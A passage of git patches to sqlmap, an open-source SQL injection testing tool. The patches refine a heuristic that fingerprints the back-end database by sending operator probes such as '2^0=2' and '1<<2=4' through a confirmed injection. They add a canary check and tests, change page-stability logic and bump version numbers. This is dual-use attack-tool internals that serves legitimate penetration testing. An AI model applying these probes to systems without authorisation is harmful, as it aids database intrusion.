xrange(len(parts)): @@ -4463,16 +4468,21 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 88b61ddd4..29ce4db15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.0" +VERSION = "1.10.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 3be67eac8..47f973edc 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression # OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing # false positives. See PROVE_DESIGN.md.) # -# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB, -# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, -# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With -# anchor value 2: +# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, +# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, +# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() +# (only measured signatures classify; anything else -> None). With anchor value 2: # # * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) # vs no such operator (SQLite/Oracle/... -> error, so false) @@ -52,57 +52,69 @@ DIALECT_PROBES = ( ("shift", "1<<2=4"), ) +# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that +# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, +# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the +# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle +# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a +# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator +# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +DIALECT_CANARY = "2+" + +# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live +# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a +# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition +# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the +# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +_SIGNATURE_DBMS = { + # xor pgpow intdiv bitor shift + (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL + (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) + (False, True, True, True, False): DBMS.PGSQL, # CrateDB + (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) + (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') + (False, False, True, True, True): DBMS.SQLITE, # SQLite +} + def _classify(signature): """ - Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end - DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so - detection proceeds unchanged - the heuristic never wrong-foots the scan). + Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS + through a strict whitelist of live-measured signatures, or returns None when the signature is not + a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so + detection proceeds unchanged and the heuristic never wrong-foots the scan. - Rules below are the subset of the measured 11-engine truth table that maps with zero - false positives. Engines whose operator profile is not distinctive enough (Oracle's - all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or - a fully WAF-blocked channel also produces) deliberately fall through to None: - - >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB 'MySQL' - >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + >>> _classify((False, True, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) 'Microsoft SQL Server' - >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<') + >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') 'MonetDB' - >>> _classify((False, True, True, True, False)) # PostgreSQL - 'PostgreSQL' - >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family - 'PostgreSQL' - >>> _classify((False, False, True, True, True)) # SQLite + >>> _classify((False, False, True, True, True)) # SQLite 'SQLite' - >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior + >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None True - >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None + True + >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive True """ - xor, pgpow, intdiv, bitor, shift = signature - - if pgpow: # '^' is exponentiation -> PostgreSQL family - return DBMS.PGSQL - if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ... - # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator - # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines). - return DBMS.MONETDB if shift else DBMS.MSSQL - if xor and not intdiv: # '^' is XOR AND real division -> MySQL family - return DBMS.MYSQL - if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite - return DBMS.SQLITE - - return None + return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) def dialectCheckDbms(injection): """ Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe - here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or - WAF-blocked channel yields None, leaving the scan unchanged. + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, + WAF-blocked or false-positive channel yields None, leaving the scan unchanged. """ retVal = None @@ -114,9 +126,12 @@ def dialectCheckDbms(injection): kb.injection = injection try: - # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the - # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless - if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"): + # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, + # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query + # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which + # is proof the oracle is trash, so classification is skipped (a true negative) instead of + # emitting a bogus DBMS from a meaningless signature. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) retVal = _classify(signature) finally: diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 5dc28ac98..040d80b1a 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -4,13 +4,13 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth -table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines -on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end -DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous -map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour -(the probes producing these signatures through a real boolean injection) is exercised against -the live platform, not here. +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: +the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live +SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the +expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an +unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to +None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing +these signatures through a real boolean injection) is exercised against the live platform, not here. """ import os @@ -26,78 +26,80 @@ from lib.core.data import kb from lib.core.enums import DBMS from lib.utils.dialect import _classify from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY -# measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2); -# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs- -# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the -# shift flag does NOT change the classification, which the test proves by trying it both ways. +# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. +# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so +# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. MEASURED = { - "mysql": ((True, False, False, True), DBMS.MYSQL), - "mysql5": ((True, False, False, True), DBMS.MYSQL), - "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible - "postgres": ((False, True, True, True), DBMS.PGSQL), - "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) - "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family - "sqlite": ((False, False, True, True), DBMS.SQLITE), + "mysql": ((True, False, False, True, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True, True), DBMS.MYSQL), + "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible + "postgres": ((False, True, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') + "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') + "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' + "sqlite": ((False, False, True, True, True), DBMS.SQLITE), # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) - "firebird": ((False, False, True, False), None), - "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 - "derby": ((False, False, True, False), None), - "h2": ((False, False, True, False), None), - "trino": ((False, False, True, False), None), - "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel - "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel -} - -# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv) -# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does. -SHIFT_SENSITIVE = { - "mssql": ((True, False, True, True, False), DBMS.MSSQL), - "monetdb": ((True, False, True, True, True), DBMS.MONETDB), + "firebird": ((False, False, True, False, False), None), + "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino + "derby": ((False, False, True, False, False), None), + "h2": ((False, False, True, False, False), None), + "trino": ((False, False, True, False, False), None), + "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel } class TestDialectClassification(unittest.TestCase): - def test_shift_sensitive_engines_split_correctly(self): - # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift - # probe); 1<<2=4 (MonetDB only) now separates them. - for engine, (signature, expected) in SHIFT_SENSITIVE.items(): + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) + for engine, (signature, expected) in MEASURED.items(): self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) - def test_measured_engines_map_as_expected(self): - # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the - # expected DBMS (proves the new probe never perturbs the existing classifications). - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) + def test_shift_splits_monetdb_from_mssql(self): + # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); + # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. + self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) + self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) - def test_no_false_positive_across_measured_set(self): - # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None), - # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive) - # engines, so assert it both ways. - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - result = _classify(base + (shift,)) - self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected)) - # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself) - produced = set(expected for _, expected in MEASURED.values() if expected is not None) - self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE}) + def test_whitelist_is_exact_no_false_positive(self): + # only the measured classifying signatures may yield a DBMS; everything else -> None. + classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) + produced = set(exp for _, exp in MEASURED.values() if exp is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) + # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one + for bits in range(32): + sig = tuple(bool(bits & (1 << i)) for i in range(5)) + result = _classify(sig) + if sig not in classifying: + self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + + def test_all_true_noise_is_rejected(self): + # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive + # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and + # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). + self.assertIsNone(_classify((True, True, True, True, True))) def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not - # distinctive enough - it must NOT be guessed as any DBMS + # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not + # distinctive - it must NOT be guessed as any DBMS self.assertIsNone(_classify((False, False, False, False, False))) self.assertIsNone(_classify((False, False, False, False, True))) - def test_pgpow_dominates_as_postgres_marker(self): - # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour - self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL) - self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL) + def test_pgpow_alone_is_not_enough(self): + # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full + # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise + # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). + self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL + self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature class TestDialectCheckDbmsGuard(unittest.TestCase): - """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good - channel, and None (no prior) whenever the channel is unreliable - the safety contract.""" + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, + and None (no prior) whenever the channel is unreliable - the safety contract, including the + canary that turns a trashy false-positive channel into a true negative.""" def _run(self, truth): # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection @@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase): kb.injection = saved def test_identifies_mysql_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.MYSQL) def test_identifies_postgres_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.PGSQL) def test_none_on_blocked_channel(self): @@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase): def test_none_on_static_channel(self): # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None - self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True})) + self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even + # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the + # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL + self.assertIsNone(self._run(truth)) if __name__ == "__main__": From 8a75c0bb6253a7f196a0ca6422a57c031200ef72 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 11:06:39 +0200 Subject: [PATCH 109/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 42 +++++++++++++++++++++------------------- lib/core/settings.py | 2 +- 3 files changed, 25 insertions(+), 23 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 342609ae6..ec1d82ff0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py +736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py +2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 95417492c..a7200e3e3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1289,6 +1289,27 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: + # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable + # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across + # requests - base the comparison on that value-free structure instead. Dynamic text + # (e.g. per-render result rows) then no longer masks an injection whose signal is + # structural (the HTML counterpart of the structure-aware JSON comparison). Content + # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through + # to '--text-only' as before. + skeleton = extractStructuralTokens(firstPage) + if skeleton and skeleton == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection support because of structural page comparison" + logger.debug(debugMsg) + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + return + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warning(warnMsg) @@ -1394,26 +1415,7 @@ def checkStability(): raise SqlmapNoneDataException(errMsg) else: - # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check - # whether the page is structurally stable (identical tag/class/id skeleton across the two - # requests) despite differing text. If so, base the comparison on that value-free structure - # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is - # the HTML counterpart of the structure-aware JSON comparison - if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage): - kb.pageStructurallyStable = True - - if kb.nullConnection: - debugMsg = "turning off NULL connection " - debugMsg += "support because of structural page comparison" - logger.debug(debugMsg) - - kb.nullConnection = None - - infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " - infoMsg += "will base the page comparison on the page structure" - logger.info(infoMsg) - else: - checkDynamicContent(firstPage, secondPage) + checkDynamicContent(firstPage, secondPage) return kb.pageStable diff --git a/lib/core/settings.py b/lib/core/settings.py index 29ce4db15..c3180e447 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.1" +VERSION = "1.10.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 39ba1bc00e8ecab79aaed63596de028b1a5c8978 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 12:21:11 +0200 Subject: [PATCH 110/165] Adding custom/own support for HTTP2 --- data/txt/sha256sums.txt | 7 +- lib/core/settings.py | 2 +- lib/request/connect.py | 44 +--- lib/request/http2.py | 544 ++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 10 - 5 files changed, 560 insertions(+), 47 deletions(-) create mode 100644 lib/request/http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ec1d82ff0..68ae7e13f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py +35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -212,9 +212,10 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py +c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -256,7 +257,7 @@ c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py -a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py +51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c3180e447..f1fc8935e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.2" +VERSION = "1.10.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = 